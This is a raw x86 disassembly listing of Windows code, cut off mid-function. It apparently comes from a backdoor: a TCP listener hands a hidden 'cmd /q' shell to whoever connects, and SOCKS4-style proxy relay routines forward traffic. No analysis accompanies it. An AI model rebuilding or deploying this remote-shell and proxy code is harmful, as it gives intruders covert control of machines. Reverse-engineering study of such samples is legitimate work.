; Attributes: bp-based frame fpd=74h


sub_413A51	proc near		; DATA XREF: sub_40274D+219Eo

var_5A8		= byte ptr -5A8h
Source		= byte ptr -418h
var_218		= dword	ptr -218h
Str		= byte ptr -214h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5A8h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_218]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1DCh], esi
		lea	eax, [ebp+74h+var_5A8]
		push	eax
		push	202h
		call	dword_444110	; WSAStartup
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_413AAC
		push	eax		; Args
		push	offset asc_434E44 ; "-"
		call	sub_417DE4
		push	[ebp+74h+var_50]
		call	sub_40B149
		add	esp, 0Ch


loc_413AA6:				; CODE XREF: sub_413A51+8Dj
		push	esi
		jmp	loc_413CCD
; ---------------------------------------------------------------------------


loc_413AAC:				; CODE XREF: sub_413A51+3Dj
		push	esi
		push	offset sub_41383E
		call	ds:dword_42B0C8	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_413AE0
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434E00 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx
		call	dword_444224	; WSACleanup
		push	[ebp+74h+var_50]
		call	sub_40B149
		pop	ecx
		jmp	short loc_413AA6
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: sub_413A51+69j
		push	10h
		pop	ebx
		push	ebx		; Size
		lea	eax, [ebp+74h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_54]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+74h+var_22], ax
		mov	[ebp+74h+var_20], edi
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], eax
		jz	loc_413C5D
		mov	ecx, [ebp+74h+var_50]
		imul	ecx, 234h
		mov	dword_4444F4[ecx], eax
		push	ebx
		lea	ecx, [ebp+74h+Dst]
		push	ecx
		push	eax
		call	dword_4441E4	; bind
		test	eax, eax
		jnz	loc_413C5D
		push	7FFFFFFFh
		push	[ebp+74h+arg_0]
		call	dword_444230	; listen
		test	eax, eax
		jnz	loc_413C5D
		push	offset unk_434DC4
		mov	[ebp+74h+var_14], 0Ch
		mov	[ebp+74h+var_10], edi
		mov	[ebp+74h+var_C], edi
		call	sub_417D70
		pop	ecx
		mov	[ebp+74h+var_8], esi
		jmp	loc_413C3C
; ---------------------------------------------------------------------------


loc_413B77:				; CODE XREF: sub_413A51+204j
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	8
		push	0FFFFh
		push	esi
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413C3C
		push	[ebp+74h+var_50]
		movzx	eax, [ebp+74h+var_32]
		push	eax
		push	[ebp+74h+var_30]
		mov	[ebp+74h+var_3C], edi
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_434D80 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		push	esi		; int
		lea	eax, [ebp+74h+Source]
		push	9		; int
		push	eax		; Source
		call	sub_40AE85
		mov	ecx, [ebp+74h+var_50]
		mov	[ebp+74h+var_4C], eax
		imul	eax, 234h
		add	esp, 24h
		mov	dword_4444EC[eax], ecx
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_218]
		push	eax
		push	offset sub_413848
		push	edi
		lea	eax, [ebp+74h+var_14]
		push	eax
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+74h+var_4C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4444FC[ecx], eax
		jnz	short loc_413C37
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434D44 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx
		jmp	short loc_413C60
; ---------------------------------------------------------------------------


loc_413C2F:				; CODE XREF: sub_413A51+1E9j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_413C37:				; CODE XREF: sub_413A51+1C7j
		cmp	[ebp+74h+var_3C], edi
		jz	short loc_413C2F


loc_413C3C:				; CODE XREF: sub_413A51+121j
					; sub_413A51+13Ej
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_34]
		push	eax
		push	[ebp+74h+arg_0]
		mov	[ebp+74h+var_4], ebx
		call	dword_4440BC	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	loc_413B77
		jmp	short loc_413C60
; ---------------------------------------------------------------------------


loc_413C5D:				; CODE XREF: sub_413A51+C7j
					; sub_413A51+EAj ...
		mov	esi, [ebp+74h+arg_0]


loc_413C60:				; CODE XREF: sub_413A51+1DCj
					; sub_413A51+20Aj
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_434D0C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_40], edi
		jnz	short loc_413CA0
		push	edi		; int
		push	[ebp+74h+var_44] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_218] ; int
		call	sub_40123B
		add	esp, 14h


loc_413CA0:				; CODE XREF: sub_413A51+22Dj
		lea	eax, [ebp+74h+Source]
		push	eax
		call	sub_417D70
		pop	ecx
		push	esi
		call	dword_444218	; closesocket
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket
		call	dword_444224	; WSACleanup
		push	[ebp+74h+var_50]
		call	sub_40B149
		pop	ecx
		push	edi


loc_413CCD:				; CODE XREF: sub_413A51+56j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_413A51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CD4	proc near		; CODE XREF: sub_413F5A+98p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		push	esi
		push	1
		mov	[ebp+var_20], eax
		push	2
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_42B09C
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_42B098	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_42B008	; CreateProcessA
		test	eax, eax
		jz	short loc_413D8C
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4444F0[eax], ecx
		call	ds:dword_42B004	; CloseHandle
		jmp	short loc_413DA2
; ---------------------------------------------------------------------------


loc_413D8C:				; CODE XREF: sub_413CD4+96j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434E70 ; "-"
		call	sub_417DE4
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_413DA2:				; CODE XREF: sub_413CD4+B6j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_413DA8	proc near		; DATA XREF: sub_414056+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1B0h
		push	ebx
		mov	ebx, ds:dword_42B080
		push	esi
		push	edi
		mov	edi, [ebp+74h+arg_0]
		jmp	short loc_413E0A
; ---------------------------------------------------------------------------


loc_413DC1:				; CODE XREF: sub_413DA8+77j
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+74h+arg_0], eax
		jbe	short loc_413DF3


loc_413DCC:				; CODE XREF: sub_413DA8+49j
		mov	cl, [ebp+esi+74h+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_413DE3
		cmp	dl, 0Dh
		jz	short loc_413DE3
		mov	[ebp+eax+74h+var_1B0], 0Dh
		inc	eax


loc_413DE3:				; CODE XREF: sub_413DA8+2Bj
					; sub_413DA8+30j
		mov	[ebp+eax+74h+var_1B0], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+74h+arg_0]
		mov	dl, cl
		jb	short loc_413DCC


loc_413DF3:				; CODE XREF: sub_413DA8+22j
		push	0
		push	eax
		lea	eax, [ebp+74h+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4441A0	; send
		test	eax, eax
		jle	short loc_413E21


loc_413E0A:				; CODE XREF: sub_413DA8+17j
		push	0
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	0C8h
		lea	eax, [ebp+74h+var_C8]
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_413DC1


loc_413E21:				; CODE XREF: sub_413DA8+60j
		mov	esi, ds:dword_42B01C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_413E3D
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434EB0 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx


loc_413E3D:				; CODE XREF: sub_413DA8+84j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_413DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_413E45	proc near		; DATA XREF: sub_414056+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		mov	[ebp+74h+var_10], ebx
		jmp	loc_413F37
; ---------------------------------------------------------------------------


loc_413E62:				; CODE XREF: sub_413E45+107j
		cmp	[ebp+74h+var_10], ebx
		jbe	short loc_413E6F
		dec	[ebp+74h+var_10]
		jmp	loc_413F3A
; ---------------------------------------------------------------------------


loc_413E6F:				; CODE XREF: sub_413E45+20j
		mov	al, byte ptr [ebp+74h+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_413F22
		cmp	al, 8
		mov	[ebp+74h+var_C], ebx
		jz	short loc_413ED9
		cmp	al, 7Fh
		jz	short loc_413ED9
		cmp	al, 3
		jnz	short loc_413E9A
		push	ebx
		push	ebx
		call	ds:dword_42B0CC	; GenerateConsoleCtrlEvent
		jmp	short loc_413F00
; ---------------------------------------------------------------------------


loc_413E9A:				; CODE XREF: sub_413E45+49j
		cmp	al, 15h
		jnz	short loc_413EBC
		xor	esi, esi
		mov	[ebp+74h+var_8], 20h
		mov	[ebp+74h+var_7], 58h
		mov	[ebp+74h+var_6], 58h
		mov	[ebp+74h+var_5], 58h
		mov	[ebp+74h+var_4], 0Dh
		mov	[ebp+74h+var_3], 0Ah
		push	6
		jmp	short loc_413EEC
; ---------------------------------------------------------------------------


loc_413EBC:				; CODE XREF: sub_413E45+57j
		xor	ecx, ecx
		mov	[ebp+esi+74h+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+74h+var_8], al
		jnz	short loc_413EED
		mov	[ebp+esi+74h+var_DC], 0Ah
		mov	[ebp+74h+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_413EEC
; ---------------------------------------------------------------------------


loc_413ED9:				; CODE XREF: sub_413E45+41j
					; sub_413E45+45j
		cmp	esi, ebx
		jbe	short loc_413F03
		dec	esi
		mov	[ebp+74h+var_8], 8
		mov	[ebp+74h+var_7], 20h
		mov	[ebp+74h+var_6], 8
		push	3


loc_413EEC:				; CODE XREF: sub_413E45+75j
					; sub_413E45+92j
		pop	ecx


loc_413EED:				; CODE XREF: sub_413E45+84j
		push	ebx
		push	ecx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4441A0	; send
		test	eax, eax
		jle	short loc_413F52


loc_413F00:				; CODE XREF: sub_413E45+53j
		mov	al, byte ptr [ebp+74h+arg_0+3]


loc_413F03:				; CODE XREF: sub_413E45+96j
		cmp	al, 0Dh
		jnz	short loc_413F3A
		push	ebx
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_DC]
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		jz	short loc_413F52
		xor	esi, esi
		jmp	short loc_413F3A
; ---------------------------------------------------------------------------


loc_413F22:				; CODE XREF: sub_413E45+36j
		cmp	[ebp+74h+var_C], ebx
		jnz	short loc_413F30
		mov	[ebp+74h+var_C], 1
		jmp	short loc_413F3A
; ---------------------------------------------------------------------------


loc_413F30:				; CODE XREF: sub_413E45+E0j
		mov	[ebp+74h+var_10], 0Ah


loc_413F37:				; CODE XREF: sub_413E45+18j
		mov	[ebp+74h+var_C], ebx


loc_413F3A:				; CODE XREF: sub_413E45+25j
					; sub_413E45+C0j ...
		push	ebx
		push	1
		lea	eax, [ebp+74h+arg_0+3]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_444064	; recv
		test	eax, eax
		jg	loc_413E62


loc_413F52:				; CODE XREF: sub_413E45+B9j
					; sub_413E45+D7j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_413E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F5A	proc near		; CODE XREF: sub_414056+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		jnz	short loc_413F7F
		xor	eax, eax
		jmp	loc_414052
; ---------------------------------------------------------------------------


loc_413F7F:				; CODE XREF: sub_413F5A+1Cj
		push	ebx
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		lea	ebx, [esi+4]
		mov	[ebx], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ds:dword_42B0A0	; CreatePipe
		test	eax, eax
		mov	edi, ds:dword_42B004
		jnz	short loc_413FC0
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434F58
		jmp	short loc_413FE1
; ---------------------------------------------------------------------------


loc_413FC0:				; CODE XREF: sub_413F5A+56j
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_42B0A0	; CreatePipe
		test	eax, eax
		jnz	short loc_413FE9
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434F14 ; "-"


loc_413FE1:				; CODE XREF: sub_413F5A+64j
		call	sub_417DE4
		pop	ecx
		jmp	short loc_414016
; ---------------------------------------------------------------------------


loc_413FE9:				; CODE XREF: sub_413F5A+79j
		push	[ebp+arg_0]
		mov	ebx, [ebp+var_8]
		push	[ebp+var_4]
		call	sub_413CD4
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41404B
		push	offset unk_434EEC
		call	sub_417D70


loc_414016:				; CODE XREF: sub_413F5A+8Dj
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_414022
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_414022:				; CODE XREF: sub_413F5A+C1j
		cmp	[ebp+var_8], 0
		jz	short loc_41402D
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_41402D:				; CODE XREF: sub_413F5A+CCj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414036
		push	eax
		call	edi	; CloseHandle


loc_414036:				; CODE XREF: sub_413F5A+D7j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414040
		push	eax
		call	edi	; CloseHandle


loc_414040:				; CODE XREF: sub_413F5A+E1j
		push	esi		; Memory
		call	_free
		pop	ecx
		xor	eax, eax
		jmp	short loc_414051
; ---------------------------------------------------------------------------


loc_41404B:				; CODE XREF: sub_413F5A+B0j
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_414051:				; CODE XREF: sub_413F5A+EFj
		pop	ebx


loc_414052:				; CODE XREF: sub_413F5A+20j
		pop	edi
		pop	esi
		leave
		retn
sub_413F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414056	proc near		; CODE XREF: sub_413848+1B9p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_413F5A
		imul	edi, 234h
		mov	esi, eax
		mov	eax, dword_4444F4[edi]
		mov	edi, ds:dword_42B03C
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_413DA8
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4140C5
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434FD0 ; "-"
		call	sub_417DE4
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_4141A5
; ---------------------------------------------------------------------------


loc_4140C5:				; CODE XREF: sub_414056+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_413E45
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_414106
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434FD0 ; "-"
		call	sub_417DE4
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_42B028	; TerminateThread
		xor	eax, eax
		jmp	loc_4141A6
; ---------------------------------------------------------------------------


loc_414106:				; CODE XREF: sub_414056+86j
		mov	eax, [esi+10h]
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	3
		call	ds:dword_42B0D0	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_414160
		dec	eax
		jz	short loc_41415A
		dec	eax
		jz	short loc_414146
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434F98 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx
		jmp	short loc_414175
; ---------------------------------------------------------------------------


loc_414146:				; CODE XREF: sub_414056+D9j
		mov	edi, ds:dword_42B028
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_414175
; ---------------------------------------------------------------------------


loc_41415A:				; CODE XREF: sub_414056+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_414164
; ---------------------------------------------------------------------------


loc_414160:				; CODE XREF: sub_414056+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_414164:				; CODE XREF: sub_414056+108j
		call	ds:dword_42B028	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_42B094	; TerminateProcess


loc_414175:				; CODE XREF: sub_414056+EEj
					; sub_414056+102j
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_42B004
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_444218	; closesocket
		push	esi		; Memory
		call	_free
		xor	eax, eax
		inc	eax


loc_4141A5:				; CODE XREF: sub_414056+6Aj
		pop	ecx


loc_4141A6:				; CODE XREF: sub_414056+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_4141AB	proc near		; CODE XREF: sub_4142A9+1F6p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+70h+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4141C3:				; CODE XREF: sub_4141AB+C0j
					; sub_4141AB+F0j
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+70h+var_100], ebx
		mov	[ebp+70h+var_104], ecx
		xor	eax, eax


loc_4141D4:				; CODE XREF: sub_4141AB+38j
		mov	edx, [ebp+70h+arg_0]
		cmp	[ebp+eax*4+70h+var_100], edx
		jz	short loc_4141E5
		inc	eax
		cmp	eax, ecx
		jb	short loc_4141D4


loc_4141E5:				; CODE XREF: sub_4141AB+33j
		cmp	eax, ecx
		jnz	short loc_4141F9
		mov	[ebp+70h+var_FC], edx
		mov	[ebp+70h+var_104], 2


loc_4141F9:				; CODE XREF: sub_4141AB+3Cj
		push	esi		; Size
		lea	eax, [ebp+70h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+70h+var_104]
		push	eax
		push	edi
		call	dword_4441B0	; select
		lea	eax, [ebp+70h+var_104]
		push	eax
		push	ebx
		call	dword_44415C	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_414259
		push	edi
		push	esi
		lea	eax, [ebp+70h+Dst]
		push	eax
		push	ebx
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4142A1
		push	edi
		push	eax
		lea	eax, [ebp+70h+Dst]
		push	eax
		push	[ebp+70h+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4142A1


loc_414259:				; CODE XREF: sub_4141AB+80j
		lea	eax, [ebp+70h+var_104]
		push	eax
		push	[ebp+70h+arg_0]
		call	dword_44415C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4141C3
		push	edi
		push	esi
		lea	eax, [ebp+70h+Dst]
		push	eax
		push	[ebp+70h+arg_0]
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4142A1
		push	edi
		push	eax
		lea	eax, [ebp+70h+Dst]
		push	eax
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4141C3


loc_4142A1:				; CODE XREF: sub_4141AB+95j
					; sub_4141AB+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_4141AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_4142A9	proc near		; DATA XREF: sub_4144B2+142o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_C8]
		rep movsd
		mov	esi, [ebp+74h+var_2C]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	edi, edi
		inc	edi
		mov	[eax+0ACh], edi
		mov	eax, dword_4444F4[esi]
		mov	[ebp+74h+var_5D0], eax
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_5D4]
		push	eax
		push	ebx
		mov	[ebp+74h+var_8], 5
		mov	[ebp+74h+var_4], ebx
		mov	[ebp+74h+var_5D4], edi
		call	dword_4441B0	; select
		test	eax, eax
		jnz	short loc_41431A
		push	dword_4444F4[esi]
		jmp	loc_4143B7
; ---------------------------------------------------------------------------


loc_41431A:				; CODE XREF: sub_4142A9+64j
		push	ebx
		push	408h
		lea	eax, [ebp+74h+var_4D0]
		push	eax
		push	dword_4444F4[esi]
		call	dword_444064	; recv
		test	eax, eax
		jle	short loc_4143B1
		cmp	[ebp+74h+var_4D0], 4
		jnz	short loc_4143B1
		cmp	[ebp+74h+var_4CF], 1
		jnz	short loc_4143B1
		cmp	[ebp+74h+Str2],	bl
		jz	short loc_4143CD
		lea	eax, [ebp+74h+Str2]
		push	eax		; Str2
		lea	eax, [ebp+74h+Dst]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4143CD
		lea	eax, [ebp+74h+Str2]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	eax		; Args
		push	offset dword_43509C ; Format
		call	sub_417DE4
		push	400h		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_4D0], bl
		mov	[ebp+74h+var_4CF], 5Dh
		call	_memset
		add	esp, 18h


loc_41439B:				; CODE XREF: sub_4142A9+1B2j
		push	ebx
		push	8
		lea	eax, [ebp+74h+var_4D0]
		push	eax
		push	dword_4444F4[esi]
		call	dword_4441A0	; send


loc_4143B1:				; CODE XREF: sub_4142A9+8Cj
					; sub_4142A9+95j ...
		push	dword_4444F4[esi]


loc_4143B7:				; CODE XREF: sub_4142A9+6Cj
		call	dword_444218	; closesocket
		push	[ebp+74h+arg_0]
		call	sub_40B149
		pop	ecx
		push	ebx
